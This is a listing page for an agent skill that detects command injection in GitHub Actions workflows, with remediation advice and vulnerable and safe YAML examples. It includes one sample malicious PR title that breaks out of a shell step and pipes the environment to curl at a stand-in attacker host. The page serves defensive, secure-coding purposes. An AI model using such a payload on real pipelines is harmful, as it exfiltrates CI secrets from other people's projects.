# GitHub Actions Command Injection

> Detects GitHub Actions workflow files that interpolate untrusted event data into run steps, enabling CI/CD pipeline injection.

- Skill: `zakirkun/github-actions-command-injection` (Agent Skill, multi-file: 2 files)
- Install (CLI): `npx skillmds@latest add zakirkun/github-actions-command-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/zakirkun/github-actions-command-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: zakirkun (https://skillmd.com/u/zakirkun)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/zakirkun/github-actions-command-injection

---


# GitHub Actions Command Injection

## Overview
GitHub Actions workflows that interpolate `${{ github.event.* }}` values directly into `run:` steps are vulnerable to command injection. A malicious PR title, issue body, or commit message can break out of the shell command and execute arbitrary code in the CI environment, exfiltrating secrets.

Example malicious PR title: `title"; env | curl -X POST attacker.com -d @-; echo "`

## Remediation
- Never use `${{ github.event.pull_request.title }}` directly in `run:` steps
- Pass event data as environment variables then reference `$ENV_VAR` in shell
- Use `github.sha`, `github.ref` (safe) rather than user-supplied metadata

**Vulnerable:**
```yaml
- run: echo "${{ github.event.issue.title }}"
```

**Safe:**
```yaml
- env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: echo "$ISSUE_TITLE"
```

